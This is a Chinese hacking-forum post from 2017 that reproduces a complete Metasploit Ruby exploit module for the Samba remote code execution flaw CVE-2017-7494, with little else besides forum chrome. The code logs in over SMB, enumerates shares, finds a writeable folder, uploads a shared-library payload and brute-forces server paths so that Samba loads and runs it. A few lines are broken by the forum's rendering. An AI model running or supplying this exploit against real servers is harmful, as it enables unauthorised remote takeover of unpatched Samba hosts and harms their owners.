搜索
查看: 569|回复: 0

Samba远程代码执行漏洞(CVE-2017-7494)EXP

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-11 19:32:35 | 显示全部楼层 |阅读模式
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##

  5. class MetasploitModule < Msf::Exploit::Remote
  6.   Rank = ExcellentRanking

  7.   include Msf::Exploit::Remote::DCERPC
  8.   include Msf::Exploit::Remote::SMB::Client

  9.   def initialize(info = {})
  10.     super(update_info(info,
  11.       'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
  12.       'Description'    => %q{
  13.           This module triggers an arbitrary shared library load vulnerability
  14.         in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
  15.         requires valid credentials, a writeable folder in an accessible share,
  16.         and knowledge of the server-side path of the writeable folder. In
  17.         some cases, anonymous access combined with common filesystem locations
  18.         can be used to automatically exploit this vulnerability.
  19.       },
  20.       'Author'         =>
  21.         [
  22.           'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
  23.           'hdm',                                  # Metasploit Module
  24.         ],
  25.       'License'        => MSF_LICENSE,
  26.       'References'     =>
  27.         [
  28.           [ 'CVE', '2017-7494' ],
  29.           [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
  30.         ],
  31.       'Payload'         =>
  32.         {
  33.           'Space'       => 9000,
  34.           'DisableNops' => true
  35.         },
  36.       'Platform'        => 'linux',
  37.       #
  38.       # Targets are currently limited by platforms with ELF-SO payload wrappers
  39.       #
  40.       'Targets'         =>
  41.         [
  42.           [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
  43.           [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
  44.           [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
  45.         # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
  46.         ],
  47.       'Privileged'      => true,
  48.       'DisclosureDate'  => 'Mar 24 2017',
  49.       'DefaultTarget'   => 2))

  50.     register_options(
  51.       [
  52.         OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
  53.         OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
  54.         OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
  55.       ])
  56.   end


  57.   def generate_common_locations
  58.     candidates = []
  59.     if datastore['SMB_SHARE_BASE'].to_s.length > 0
  60.       candidates << datastore['SMB_SHARE_BASE']
  61.     end

  62.     %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
  63.       candidates << base_name
  64.       candidates << [base_name, @share]
  65.       candidates << [base_name, @share.downcase]
  66.       candidates << [base_name, @share.upcase]
  67.       candidates << [base_name, @share.capitalize]
  68.       candidates << [base_name, @share.gsub(" ", "_")]
  69.     end

  70.     candidates.uniq
  71.   end

  72.   def enumerate_directories(share)
  73.     begin
  74.       self.simple.connect("\\\\#{rhost}\\#{share}")
  75.       stuff = self.simple.client.find_first("\\*")
  76.       directories = [""]
  77.       stuff.each_pair do |entry,entry_attr|
  78.         next if %W{. ..}.include?(entry)
  79.         next unless entry_attr['type'] == 'D'
  80.         directories << entry
  81.       end

  82.       return directories

  83.     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
  84.       vprint_error("Enum #{share}: #{e}")
  85.       return nil

  86.     ensure
  87.       if self.simple.shares["\\\\#{rhost}\\#{share}"]
  88.         self.simple.disconnect("\\\\#{rhost}\\#{share}")
  89.       end
  90.     end
  91.   end

  92.   def verify_writeable_directory(share, directory="")
  93.     begin
  94.       self.simple.connect("\\\\#{rhost}\\#{share}")

  95.       random_filename = Rex::Text.rand_text_alpha(5)+".txt"
  96.       filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

  97.       wfd = simple.open(filename, 'rwct')
  98.       wfd << Rex::Text.rand_text_alpha(8)
  99.       wfd.close

  100.       simple.delete(filename)
  101.       return true

  102.     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
  103.       vprint_error("Write #{share}#{filename}: #{e}")
  104.       return false

  105.     ensure
  106.       if self.simple.shares["\\\\#{rhost}\\#{share}"]
  107.         self.simple.disconnect("\\\\#{rhost}\\#{share}")
  108.       end
  109.     end
  110.   end

  111.   def share_type(val)
  112.     [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  113.   end

  114.   def enumerate_shares_lanman
  115.     shares = []
  116.     begin
  117.       res = self.simple.client.trans(
  118.         "\\PIPE\\LANMAN",
  119.         (
  120.           [0x00].pack('v') +
  121.           "WrLeh\x00"   +
  122.           "B13BWz\x00"  +
  123.           [0x01, 65406].pack("vv")
  124.         ))
  125.     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
  126.       vprint_error("Could not enumerate shares via LANMAN")
  127.       return []
  128.     end
  129.     if res.nil?
  130.       vprint_error("Could not enumerate shares via LANMAN")
  131.       return []
  132.     end

  133.     lerror, lconv, lentries, lcount = res['Payload'].to_s[
  134.       res['Payload'].v['ParamOffset'],
  135.       res['Payload'].v['ParamCount']
  136.     ].unpack("v4")

  137.     data = res['Payload'].to_s[
  138.       res['Payload'].v['DataOffset'],
  139.       res['Payload'].v['DataCount']
  140.     ]

  141.     0.upto(lentries - 1) do |i|
  142.       sname,tmp = data[(i * 20) +  0, 14].split("\x00")
  143.       stype     = data[(i * 20) + 14, 2].unpack('v')[0]
  144.       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
  145.       scoff -= lconv if lconv != 0
  146.       scomm,tmp = data[scoff, data.length - scoff].split("\x00")
  147.       shares << [ sname, share_type(stype), scomm]
  148.     end

  149.     shares
  150.   end

  151.   def probe_module_path(path)
  152.     begin
  153.       simple.create_pipe(path)
  154.     rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
  155.       vprint_error("Probe: #{path}: #{e}")
  156.     end
  157.   end

  158.   def find_writeable_path(share)
  159.     subdirs = enumerate_directories(share)
  160.     return unless subdirs

  161.     if datastore['SMB_FOLDER'].to_s.length > 0
  162.       subdirs.unshift(datastore['SMB_FOLDER'])
  163.     end

  164.     subdirs.each do |subdir|
  165.       next unless verify_writeable_directory(share, subdir)
  166.       return subdir
  167.     end

  168.     nil
  169.   end

  170.   def find_writeable_share_path
  171.     @path = nil
  172.     share_info = enumerate_shares_lanman
  173.     if datastore['SMB_SHARE_NAME'].to_s.length > 0
  174.       share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
  175.     end

  176.     share_info.each do |share|
  177.       next if share.first.upcase == 'IPC


  178.       found = find_writeable_path(share.first)
  179.       next unless found
  180.       @share = share.first
  181.       @path  = found
  182.       break
  183.     end
  184.   end

  185.   def find_writeable
  186.     find_writeable_share_path
  187.     unless @share && @path
  188.       print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
  189.       fail_with(Failure::NoTarget, "No matching target")
  190.     end
  191.     print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  192.   end

  193.   def upload_payload
  194.     begin
  195.       self.simple.connect("\\\\#{rhost}\\#{@share}")

  196.       random_filename = Rex::Text.rand_text_alpha(8)+".so"
  197.       filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
  198.       wfd = simple.open(filename, 'rwct')
  199.       wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
  200.         payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
  201.       )
  202.       wfd.close

  203.       @payload_name = random_filename
  204.       return true

  205.     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
  206.       print_error("Write #{@share}#{filename}: #{e}")
  207.       return false

  208.     ensure
  209.       if self.simple.shares["\\\\#{rhost}\\#{@share}"]
  210.         self.simple.disconnect("\\\\#{rhost}\\#{@share}")
  211.       end
  212.     end
  213.   end

  214.   def find_payload
  215.     print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")

  216.     # Reconnect to IPC$
  217.     simple.connect("\\\\#{rhost}\\IPC$")

  218.     #
  219.     # In a perfect world we would find a way make IPC

  220. s associated CWD
  221.     # change to our share path, which would allow the following code:
  222.     #
  223.     # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
  224.     #

  225.     # Until we find a better way, brute force based on common paths
  226.     generate_common_locations.each do |location|
  227.       target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
  228.       print_status("Trying location #{target}...")
  229.       probe_module_path(target)
  230.     end
  231.   end

  232.   def exploit
  233.     # Setup SMB
  234.     connect
  235.     smb_login

  236.     # Find a writeable share
  237.     find_writeable

  238.     # Upload the shared library payload
  239.     upload_payload

  240.     # Find and execute the payload from the share
  241.     find_payload rescue Rex::StreamClosedError

  242.     # Shutdown
  243.     disconnect
  244.   end

  245. end
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表